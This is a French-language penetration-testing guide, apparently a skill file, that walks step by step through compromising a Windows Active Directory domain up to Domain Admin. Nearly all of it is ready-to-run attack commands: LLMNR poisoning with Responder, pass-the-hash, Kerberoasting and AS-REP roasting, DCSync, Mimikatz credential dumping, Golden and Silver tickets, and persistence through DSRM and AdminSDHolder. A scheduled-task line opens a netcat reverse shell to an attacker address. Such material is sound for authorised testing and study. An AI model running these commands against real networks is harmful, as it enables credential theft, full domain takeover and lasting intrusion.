| name | active-directory |
| description | Guide complet pentest Active Directory — BloodHound, Impacket, CrackMapExec, Mimikatz, Responder, Kerberos, AS-REP, Kerberoasting, Golden Ticket, et workflow d'attaque complet. |
Pentest Active Directory — Guide Complet
Vue d'ensemble
Active Directory est le service d'annuaire Microsoft présent dans 90%+ des
environnements d'entreprise. Sa compromission est l'objectif central de la
plupart des tests d'intrusion.
Objectif ultime : devenir Domain Admin (DA).
Services et ports AD à connaître
| Port | Service | Utilité offensive |
|---|
| 53 | DNS | Énumération, exploitation de zone transfer |
| 88 | Kerberos | AS-REP roasting, Kerberoasting |
| 135 | MSRPC | Énumération RPC |
| 139/445 | SMB | Partage de fichiers, exploitation |
| 389/636 | LDAP(S) | Énumération de domaine |
| 3268/3269 | Global Catalog | LDAP global |
| 5985/5986 | WinRM | Remote management (Evil-WinRM) |
| 3389 | RDP | Bureau à distance |
Phase 1 : Énumération initiale
Nmap pour AD
nmap -p 53,88,135,139,389,445,636,3268,3389,5985 -sV -sC 10.0.0.0/24
Enum4linux (énumération SMB)
enum4linux -a <IP_DC>
enum4linux -U <IP_DC>
enum4linux -S <IP_DC>
LDAP anonymous bind
ldapsearch -H ldap://<DC_IP> -x -b "dc=domaine,dc=local"
ldapsearch -H ldap://<DC_IP> -x -b "dc=domaine,dc=local" "(objectClass=user)"
Phase 2 : Attaques réseau internes
Responder — LLMNR/NBT-NS/mDNS poisoning
responder -I eth0 -wv
hashcat -m 5600 hash.txt rockyou.txt
john --format=netntlmv2 hash.txt --wordlist=rockyou.txt
SCF / LNK file attack
crackmapexec smb 10.0.0.0/24 -u user -p pass -M scuffy -o NAME=WORK SERVER=<IP_RESPONDER>
Phase 3 : CrackMapExec (CME) / NetExec (nxc)
Énumération SMB
crackmapexec smb 10.0.0.0/24
crackmapexec smb 10.0.0.100 -u user -p pass --shares
crackmapexec smb 10.0.0.100 -u user -p pass --users
crackmapexec smb 10.0.0.100 -u user -p pass --groups
crackmapexec smb 10.0.0.0/24 -u users.txt -H '<NTLM_HASH>'
Pass-the-Hash (PtH)
crackmapexec smb 10.0.0.100 -u Administrator -H '<NTLM_HASH>' -x 'whoami'
crackmapexec winrm 10.0.0.100 -u Administrator -H '<NTLM_HASH>'
Modules CME utiles
crackmapexec smb 10.0.0.100 -u admin -p pass -M mimikatz
crackmapexec smb 10.0.0.100 -u admin -p pass -M bloodhound -c all
crackmapexec smb 10.0.0.100 -u admin -p pass -M lsassy
crackmapexec smb 10.0.0.100 -u admin -p pass -M petitpotam
Phase 4 : BloodHound — Cartographie AD
Collecte de données
bloodhound-python -d domaine.local -u user -p pass -ns <DC_IP> -c all
Démarrage
sudo neo4j start
bloodhound
Requêtes BloodHound essentielles
Shortest Path to Domain Admins
Find Principals with DCSync Rights
Find Computers where Domain Users are Local Admin
Shortest Paths from Kerberoastable Users
Find AS-REP Roastable Users (DontReqPreAuth)
Find All Paths to High Value Targets
Phase 5 : Attaques Kerberos
AS-REP Roasting
impacket-GetNPUsers domaine.local/ -usersfile users.txt -dc-ip <DC_IP>
impacket-GetNPUsers domaine.local/user -no-pass -dc-ip <DC_IP>
hashcat -m 18200 asrep_hash.txt rockyou.txt
john --format=krb5tgs asrep_hash.txt --wordlist=rockyou.txt
Kerberoasting
impacket-GetUserSPNs domaine.local/user:password -dc-ip <DC_IP>
impacket-GetUserSPNs domaine.local/user:password -dc-ip <DC_IP> -request
hashcat -m 13100 kerberoast_hash.txt rockyou.txt
DCSync (réplication d'annuaire)
impacket-secretsdump domaine.local/user:password@<DC_IP>
impacket-secretsdump domaine.local/user:password@<DC_IP> -just-dc-user krbtgt
Phase 6 : Impacket — Boîte à outils AD
Vue d'ensemble des outils
impacket-secretsdump
impacket-psexec
impacket-wmiexec
impacket-smbexec
impacket-dcomexec
impacket-atexec
impacket-GetUserSPNs
impacket-GetNPUsers
impacket-ticketer
impacket-getTGT
impacket-ntlmrelayx
Commandes de shell
impacket-psexec domaine.local/admin:password@<IP>
impacket-wmiexec domaine.local/admin:password@<IP>
impacket-wmiexec -hashes :<NTLM_HASH> domaine.local/admin@<IP>
impacket-secretsdump admin:password@<IP>
impacket-secretsdump -hashes :<NTLM_HASH> admin@<IP>
Relais NTLM (ntlmrelayx)
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
impacket-ntlmrelayx -tf targets.txt -smb2support -socks
Phase 7 : Mimikatz — Credential Dumping
Commandes classiques
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi
lsadump::sam
lsadump::lsa /patch
lsadump::dcsync /domain:domaine.local /user:krbtgt
Golden Ticket (persistance ultime)
kerberos::golden /user:Administrator /domain:domaine.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /id:500 /ptt
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain domaine.local Administrator
Silver Ticket (compromission de service spécifique)
kerberos::golden /domain:domaine.local /sid:<DOMAIN_SID> /target:serveur.domaine.local /service:cifs /rc4:<NTLM_SERVICE> /user:admin /ptt
Phase 8 : Mouvement latéral
Evil-WinRM
evil-winrm -i <IP> -u admin -p password
evil-winrm -i <IP> -u admin -H '<NTLM_HASH>'
PowerShell Remoting
Enter-PSSession -ComputerName <cible>
Invoke-Command -ComputerName <cible> -ScriptBlock { whoami }
WMI
wmic /node:"<IP>" process call create "cmd.exe /c whoami"
Scheduled Tasks
schtasks /create /s <cible> /tn "MaTache" /tr "cmd.exe /c nc.exe 10.0.0.5 4444 -e cmd.exe" /sc once /st 00:00
schtasks /run /s <cible> /tn "MaTache"
Phase 9 : Persistance
Golden Ticket
Déjà couvert ci-dessus — persistance à vie via KRBTGT
DSRM (Directory Services Restore Mode)
ntdsutil → set dsrm password → sync from domain account
impacket-psexec -hashes :<DSRM_HASH> Administrateur@<DC_IP>
AdminSDHolder (propagation permanente)
Add-DomainObjectAcl -TargetIdentity "AdminSDHolder" -PrincipalIdentity "MonUser" -Rights All
Cheatsheet rapide
nmap -p 53,88,135,139,389,445,636,3268,3389,5985 -sV -sC <DC_IP>
crackmapexec smb <IP> --shares
bloodhound-python -d domaine.local -u user -p pass -ns <DC_IP> -c all
impacket-GetNPUsers domaine.local/ -usersfile users.txt -dc-ip <DC_IP>
impacket-GetUserSPNs domaine.local/user:pass -dc-ip <DC_IP> -request
impacket-secretsdump admin:pass@<DC_IP>
impacket-wmiexec -hashes :<HASH> admin@<IP>
evil-winrm -i <IP> -u admin -H '<HASH>'
Bibliographie